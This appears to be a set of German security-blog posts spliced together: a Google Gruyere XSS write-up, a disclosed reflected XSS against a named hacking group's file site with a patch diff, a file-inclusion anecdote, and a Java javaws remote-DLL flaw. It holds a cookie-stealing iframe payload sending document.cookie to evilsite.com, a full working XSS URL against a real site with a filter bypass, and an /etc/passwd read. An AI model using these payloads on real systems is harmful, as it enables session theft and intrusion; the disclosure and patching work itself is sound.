Dieser Artikel ist durch ein Passwort geschützt.
Um ihn anzusehen, trage es bitte hier ein:

Passwort:

Dazu kommt, dass alle existierenden Sicherheitslücken kategorisiert und mit Tipps und Beispielexploits versehen sind. Der spielhafte Charakter mit detaillierten Beschreibungen der zu Grunde liegenden Bugs anhand von Beispielcode erlaubt es auch Anfängern viele Facetten der Sicherheitsprobleme von Webapplikationen zu verstehen.

Hat man Gruyere erst einmal ausprobiert, kann sich jeder vorstellen wie Code Execution, Denial of Service, XSS, CSRF und weitere Designfehler zustande kommen und zum eigenen Profit eingesetzt werden können.

Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.

Erfolg gab es dann hiermit:

1

<iframe src=//google.de onload="this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe>

Kurze Erklärung:

• Ich lege durch das <iframe>-Tag einen Iframe an, der auf http://www.google.de zeigt.
• Dieser bekommt ein onload-Event zugewiesen.
• Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort document.cookie, packt es in die eval-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert – also den Cookie des Benutzers – an die URL des Iframes an.

Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde

Some input isn’t properly sanitized before it is returned to the user, rendering the application’s users vulnerable to a XSS flaw.

To resolve this vulnerability, the following patch needs to be applied to the PHP Directory List v3.1 source code which makes use of urlencode instead of strip_slashes to sanitize user input:

1
2
3
4
5

# diff index.php /tmp/directoryv3.1/index.php 
391c391
< 	$baseurl = strip_tags($_SERVER['PHP_SELF']) . '?dir='.urlencode($_GET['dir']) . '&amp;';
---
> 	$baseurl = strip_tags($_SERVER['PHP_SELF']) . '?dir='.strip_tags($_GET['dir']) . '&amp;';

Thanks goes out to Anon for pointing out that this previous vulnerability is originally found in PHP Directory Listing from Evoluted.net.

The programmer in charge has been notified of this issue.

http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F

Und siehe da, der GET-Parameter dir kann nicht nur den kompletten Pfad zu einem Ordner enthalten, sondern auch einen netten XSS-Vektor. Die Tatsache, dass der für dieses PHP-Script zuständige Programmierer aus Reihen der “No-Name-Crew” vollständige HTML-Tags löscht – also <, > und alle Zeichen dazwischen – zeugt von keinem wirklichen Überblick über das Zustandekommen von XSS-Lücken.

Aufbau einer erfolgreichen Attacke:

1. durch ein " wird das HREF-Attribut des <a>-Tags beendet. Nun können wir beliebige weitere Attribute des Link-Tags definieren.
2. Ein Leerzeichen gefolgt von onmouseover=alert('XSS') verpasst dem Link ein Event, das beim “Mit-der-Maus-drüberfahren” einen von mir bestimmten Javascript-Code ausführt.
3. Durch style=position:absolute;top:0;left:0;right:0;bottom:0 sagen wir dem Browser, dass der Link das gesamte Browserfenster ausfüllen soll. Somit wird der Benutzer das onmouseover-Event ausführen, sobald er seine Maus über irgendeinen Bereich der Homepage bewegt.
4. Und zuletzt wird der Angriffsvektor durch ein alt= abgeschlossen. Dieses Attribut wird benötigt, weil der Browser sonst beim Rendern eine Fehlermeldung melden würde.

Wenn alle oben genannten Punkte zusammenbaut werden, so kommt man auf folgenden Angriff (Selbst Ausprobieren):

http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=

In diesem Quelltext-Screenshot sieht man, wie der Quirks Mode von Mozilla Firefox den Angriff ausführt.

Angriff geht nicht immer

Durch den einen eingebauten Schutz vor reflexivem XSS sind Benutzer von Chrome/Chromium oder der Firefox-Extension “NoScript” von dem in diesem Post genannten Angriff nicht betroffen. Ich persönlich habe den Angriff unter Mozilla Firefox getestet.

Gedanken zum Bundespolizei-Hack

Es ist sehr peinlich, dass die Bundespolizei wahrscheinlich auf Grund einer alten PHPMyAdmin-Version gehackt wurde und eine so schlecht gesicherte Trackingsoftware verwendet, dass sogar Angreifer mit rudimentärem Know-How sie erfolgreich ownen können.

Update – 08. Juli 2011, Mittag:

Der Autor des Scripts hat nun offensichtlich die Sicherheitslücke bemerkt und behoben, mein ursprüngliches Proof of Concept-Exploit funktioniert nicht mehr. Leider kann man aber nur bedingt von “behoben” sprechen, die Maßnahme gegen XSS ist nun das Wort "alert" aus dem String zu löschen.

Wird die XSS-Payload nun durch eval(String.fromCharCode(....)) ersetzt, kann man wie vorher auch die Seite der “No-Name-Crew” exploiten. Sehr peinlich.

Update 2 – 08. Juli 2011, später Abend:

Nun wurde die Sicherheitslücke wie von mir vorgeschlagen durch ein URL-Encoding der Parameter behoben

Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:

• 12+ years PHP experience
• 8+ years Perl experience
• sehr ansprechender Stundenlohn

Das klingt nach einem Perl-Guru, der dann auf PHP umgesattelt ist, nicht wahr?

Es wurden zwei PHP-Projekte zur Referenz angeboten, direkt mal angeschaut und vom Stuhl gefallen. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:

http://XXXXXXXXXXXX.com/?main=pce/index.php

Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem ? der Variable main die Adresse zu einem PHP-Script zugewiesen (und zwar pce/index.php).

Wenn man also den Inhalt von main entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:

So können wir die Datei /etc/passwd auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.

Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt.

Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos.

Bei der Sicherheitslücke handelt sich um eine Command Execution Vulnerability die durch unterlassenes Überprüfen der Aufrufparameter von javaws.exe entstanden ist. Wenn ein bei der Einbindung von Java-Applets angegebener Parameter in der Form vom " -XXaltjvm="\\12.34.56.78\virus.dll vorliegt, wird von dem Java Runtime Environment die Datei unter \\12.34.56.78\virus.dll heruntergeladen und ausgeführt. Ooops!

Der folgende Codeschnipsel dürfte genügend Aufschluss über die Einbindung der betroffenen Parameter docbase und launchjlnp geben.

1
2
3
4
5
6
7
8
9
10

if (browser == 'MSIE') {
	document.write('<' + 'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" '
		+ 'width="0" height="0">' + '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>'
		+ '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>'
		+ '<' + '/' + 'object' + '>');
} else if (browser == 'Netscape Family') {
	document.write('<' + 'embed type="application/x-java-applet;jpi-version='
		+ deployJava.firefoxJavaVersion + '" ' + 'width="0" height="0" '
		+ 'launchjnlp="' +  jnlp + '"' + 'docbase="' +  jnlpDocbase + '"' +	' />');
}

Bis zu einem Schließen dieser Sicherheitslücke sollte jeder im Browser Java ausstellen.

Vom Aufspüren von versteckten Daten über Dateianalyse bis hin zur Abwehr von Computerforensik ist dort jeder Themenbereich der IT-Forensik mit aufschlussreichen Artikeln abgedeckt. Vor allem die Netzwerkforensik (link) ist meiner Meinung nach ein hochinteressantes Thema.

Ich hoffe, dieses Thema wird nun noch weitere Fans finden!

Update: Antwort bereits eingetroffen, sie arbeiten an einem Fix. Nett.

Update: Und jetzt gibt es auch WordPress 2.8.6, alle schön updaten!